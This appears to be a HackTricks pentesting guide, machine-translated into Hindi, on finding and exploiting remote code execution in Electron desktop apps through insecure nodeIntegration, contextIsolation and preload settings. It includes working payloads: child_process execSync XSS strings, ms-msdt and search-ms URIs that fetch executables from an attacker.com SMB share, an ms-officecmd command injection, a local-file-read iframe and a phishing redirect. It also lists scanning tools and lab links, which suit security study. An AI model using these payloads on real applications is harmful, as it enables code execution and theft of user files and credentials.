Electron Desktop Apps

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

परिचय

इलेक्ट्रॉन एक स्थानीय बैकएंड (NodeJS के साथ) और एक फ्रंटएंड (Chromium) को जोड़ता है, हालांकि यह मॉडर्न ब्राउज़रों की कुछ सुरक्षा यांत्रिकियों की कमी है।

आम तौर पर आपको इलेक्ट्रॉन ऐप कोड को एक .asar एप्लिकेशन के अंदर पाएंगे, कोड प्राप्त करने के लिए आपको इसे निकालना होगा:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

एक Electron ऐप्लिकेशन के स्रोत कोड में, packet.json के अंदर, आप main.js फ़ाइल को देख सकते हैं जहाँ सुरक्षा कॉन्फ़िगरेशन सेट किया गया है।

{
"name": "standard-notes",
"main": "./app/index.js",

Electron में 2 प्रक्रिया प्रकार होते हैं:

  • मुख्य प्रक्रिया (NodeJS के पूरे एक्सेस के साथ)

  • रेंडरर प्रक्रिया (सुरक्षा कारणों के लिए NodeJS की प्रतिबंधित एक्सेस होनी चाहिए)

एक रेंडरर प्रक्रिया एक ब्राउज़र विंडो होगी जो एक फ़ाइल लोड करेगी:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

रेंडरर प्रक्रिया की सेटिंग को मुख्य प्रक्रिया में main.js फ़ाइल के अंदर कॉन्फ़िगर किया जा सकता है। कुछ सेटिंग्स इलेक्ट्रॉन एप्लिकेशन को RCE प्राप्त करने से रोकेंगी या अन्य सुरक्षा दोषों को अगर सेटिंग्स सही ढंग से कॉन्फ़िगर की गई हैं

इलेक्ट्रॉन एप्लिकेशन डिवाइस तक पहुंच सकती है Node एपीआई के माध्यम से हालांकि इसे रोकने के लिए कॉन्फ़िगर किया जा सकता है:

  • nodeIntegration - डिफ़ॉल्ट रूप से ऑफ़ है। यदि चालू है, तो रेंडरर प्रक्रिया से नोड सुविधाओं तक पहुंचने की अनुमति देता है।

  • contextIsolation - डिफ़ॉल्ट रूप से ऑन है। यदि बंद है, तो मुख्य और रेंडरर प्रक्रियाएँ अलग नहीं हैं।

  • preload - डिफ़ॉल्ट रूप से खाली है।

  • sandbox - डिफ़ॉल्ट रूप से बंद है। यह नोडजेएस द्वारा किए जा सकने वाली क्रियाओं की प्रतिबंधित करेगा।

  • Workers में नोड एकीकरण

  • nodeIntegrationInSubframes - डिफ़ॉल्ट रूप से ऑफ़ है।

  • यदि nodeIntegration सक्षम है, तो यह Node.js एपीआई का उपयोग करने की अनुमति देगा जो इलेक्ट्रॉन एप्लिकेशन के भीतर आईफ्रेम में लोड किए गए वेब पृष्ठों में होंगे।

  • यदि nodeIntegration अक्षम है, तो प्रीलोड्स आईफ्रेम में लोड होंगे।

कॉन्फ़िगरेशन का उदाहरण:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

कुछ RCE payloads यहाँ से:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

ट्रैफिक को कैप्चर करें

स्टार्ट-मेन कॉन्फ़िगरेशन को संशोधित करें और एक प्रॉक्सी का उपयोग जोड़ें जैसे:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Electron स्थानीय कोड इंजेक्शन

यदि आप स्थानीय रूप से एक Electron ऍप को निष्पादित कर सकते हैं तो संभावना है कि आप इसे विचारशील जावास्क्रिप्ट को निष्पादित करने के लिए कर सकते हैं। जांचें कैसे:

pagemacOS Electron Applications Injection

RCE: XSS + nodeIntegration

यदि nodeIntegration को on पर सेट किया गया है, तो एक वेब पेज का जावास्क्रिप्ट आसानी से Node.js विशेषताएँ उपयोग कर सकता है, सिर्फ require() को कॉल करके। उदाहरण के लिए, Windows पर कैल्क ऍप्लिकेशन को निष्पादित करने का तरीका है:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

इस सेटिंग में दिखाया गया स्क्रिप्ट रेंडरर में अन्य स्क्रिप्ट्स से पहले लोड होता है, इसलिए इसके पास Node APIs तक असीमित पहुंच होती है:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

इसलिए, स्क्रिप्ट नोड-फीचर्स को पेजों में निर्यात कर सकता है:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

यदि contextIsolation सक्षम है, तो यह काम नहीं करेगा

RCE: XSS + contextIsolation

contextIsolation वेब पेज स्क्रिप्ट और JavaScript Electron के आंतरिक कोड के बीच अलग संदर्भों को पेश करता है ताकि प्रत्येक कोड का JavaScript निष्पादन एक-दूसरे पर प्रभाव न डाले। यह RCE की संभावना को उन्मूलन करने के लिए एक आवश्यक सुविधा है।

यदि संदर्भ अलग नहीं हैं, तो एक हमलावर:

  1. रेंडरर में विचित्र JavaScript निष्पादित करें (XSS या बाहरी साइटों पर नेविगेशन)

  2. उसे अपने स्वामित्व वाले फ़ंक्शन में उपयोग किया जाने वाला बिल्ट-इन मेथड अधिलेखित करें

  3. अधिलेखित फ़ंक्शन का उपयोग ट्रिगर करें

  4. RCE?

बिल्ट-इन मेथड को अधिलेखित किया जा सकता है दो स्थान हैं: प्रीलोड कोड में या इलेक्ट्रॉन आंतरिक कोड में:

pageElectron contextIsolation RCE via preload codepageElectron contextIsolation RCE via Electron internal codepageElectron contextIsolation RCE via IPC

क्लिक घटना को छेड़ना

यदि आप एक लिंक पर क्लिक करने पर प्रतिबंध लगाए गए हैं, तो आप उन्हें छेड़ सकते हैं एक मध्य क्लिक करके बाएं क्लिक की बजाय

window.addEventListener('click', (e) => {

RCE के माध्यम से shell.openExternal

इस उदाहरण के बारे में अधिक जानकारी के लिए https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 और https://benjamin-altpeter.de/shell-openexternal-dangers/ देखें

एक Electron डेस्कटॉप एप्लिकेशन डिप्लॉय करते समय, nodeIntegration और contextIsolation के लिए सही सेटिंग्स सुनिश्चित करना महत्वपूर्ण है। यह स्थापित है कि इन सेटिंग्स के साथ सही रूप से सेट करने से preload स्क्रिप्ट या Electron के मुख्य प्रक्रिया से नेटिव कोड को लक्षित करते हुए क्लाइंट-साइड रिमोट कोड निष्पादन (RCE) को प्रभावी रूप से रोका जा सकता है।

जब उपयोगकर्ता लिंकों के साथ इंटरैक्ट करता है या नए विंडोज़ को खोलता है, तो विशेष घटना सुनने वाले स्लिस्टेनर्स ट्रिगर होते हैं, जो एप्लिकेशन की सुरक्षा और कार्यक्षमता के लिए महत्वपूर्ण हैं:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

ये लिस्टेनर्स डेस्कटॉप एप्लिकेशन द्वारा ओवरराइड किए जाते हैं ताकि उसका खुद का बिज़नेस लॉजिक लागू किया जा सके। एप्लिकेशन में मौजूद एक नेविगेट किए गए लिंक को आंतरिक या बाह्य वेब ब्राउज़र में खोलने का मूल्यांकन करता है। यह निर्णय सामान्यत: एक फंक्शन, openInternally के माध्यम से लिया जाता है। अगर यह फंक्शन false लौटाता है, तो इसका अर्थ है कि लिंक को बाह्य रूप से खोला जाना चाहिए, shell.openExternal फंक्शन का उपयोग करके।

यहाँ एक सरल प्यूडोकोड है:

Electron JS सुरक्षा सर्वोत्तम अभ्यास अविश्वसनीय सामग्री को openExternal फंक्शन के माध्यम से स्वीकार करने के खिलाफ सलाह देते हैं, क्योंकि यह विभिन्न प्रोटोकॉल के माध्यम से RCE की ओर ले जा सकता है। ऑपरेटिंग सिस्टम विभिन्न प्रोटोकॉल का समर्थन करते हैं जो RCE को ट्रिगर कर सकते हैं। इस विषय पर विस्तृत उदाहरणों और और व्याख्या के लिए, एक व्यक्ति इस संसाधन का संदर्भ ले सकता है, जिसमें इस भेदभाव को शोषित करने की क्षमता वाले विंडोज प्रोटोकॉल उदाहरण शामिल हैं।

विंडोज प्रोटोकॉल उत्पीड़नों के उदाहरण शामिल हैं:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

पाठ्यक्रम आंतरिक फ़ाइलें पढ़ना: XSS + contextIsolation

contextIsolation को अक्षम करने से <webview> टैग का उपयोग संभव होता है, <iframe> के लिए, स्थानीय फ़ाइलों को पढ़ने और बाहर ले जाने के लिए। एक उदाहरण दिखाता है कि इस सुरक्षा दोष का शोध कैसे किया जा सकता है ताकि आंतरिक फ़ाइलों की सामग्री पढ़ी जा सके:

इसके अतिरिक्त, एक और विधि आंतरिक फ़ाइल पढ़ने के लिए साझा की गई है, जो एक Electron डेस्कटॉप ऐप में एक महत्वपूर्ण स्थानीय फ़ाइल पढ़ने की सुरक्षा दोष को हाइलाइट करती है। इसमें एक स्क्रिप्ट डालने का तरीका शामिल है जो ऐप्लिकेशन को शोषित करने और डेटा को बाहर ले जाने के लिए है:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + पुराना Chromium

यदि एप्लिकेशन द्वारा उपयोग किया गया chromium पुराना है और उसमें ज्ञात कमजोरियां हैं, तो इसे भेदने और XSS के माध्यम से RCE प्राप्त करना संभव हो सकता है। आप इस लेखन में एक उदाहरण देख सकते हैं: https://blog.electrovolt.io/posts/discord-rce/

आंतरिक URL regex बायपास के माध्यम से XSS फिशिंग

मान लीजिए कि आपने एक XSS पाया है लेकिन आप RCE को ट्रिगर नहीं कर सकते या आंतरिक फ़ाइलें चुरा सकते हैं, तो आप इसका उपयोग करके फिशिंग के माध्यम से क्रेडेंशियल चुराने की कोशिश कर सकते हैं।

सबसे पहले, आपको यह जानने की आवश्यकता है कि जब आप एक नया URL खोलने की कोशिश करते हैं, तो आगे के JS कोड की जांच करें:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

विशेषज्ञ हैकर्स को openInternally को कॉल करना होगा जो लिंक को डेस्कटॉप विंडो में खोलेगा क्योंकि यह लिंक प्लेटफ़ॉर्म का हिस्सा है, या यदि यह ब्राउज़र में तीसरे पक्ष के संसाधन के रूप में खोला जाएगा।

यदि फ़ंक्शन द्वारा उपयोग किया गया regex बायपास के लिए वंशानुक्रमों के डॉट को बचाने (उदाहरण के लिए नहीं भागों को भागों से बाहर निकालने के लिए) एक हमलावार XSS का दुरुपयोग कर सकता है ताकि वह एक नई विंडो खोल सके जो हमलावार के इंफ्रास्ट्रक्चर में स्थित होगी उपयोगकर्ता से प्रमाण पत्र के लिए।

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

उपकरण

  • Electronegativity एक उपकरण है जो Electron-आधारित एप्लिकेशन में गलत कॉन्फ़िगरेशन और सुरक्षा विरोधी पैटर्न की पहचान करने के लिए है।

  • Electrolint एक ओपन सोर्स VS Code प्लगइन है जो Electron एप्लिकेशन के लिए Electronegativity का उपयोग करता है।

  • nodejsscan वलनरबल थर्ड पार्टी लाइब्रेरी की जांच के लिए

  • Electro.ng: इसे खरीदने की आवश्यकता है

लैब्स

https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s में आपको विकल्पी इलेक्ट्रॉन ऐप्स का शोध करने के लिए एक लैब मिलेगा।

कुछ कमांड्स जो आपकी मदद करेंगी लैब के साथ:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated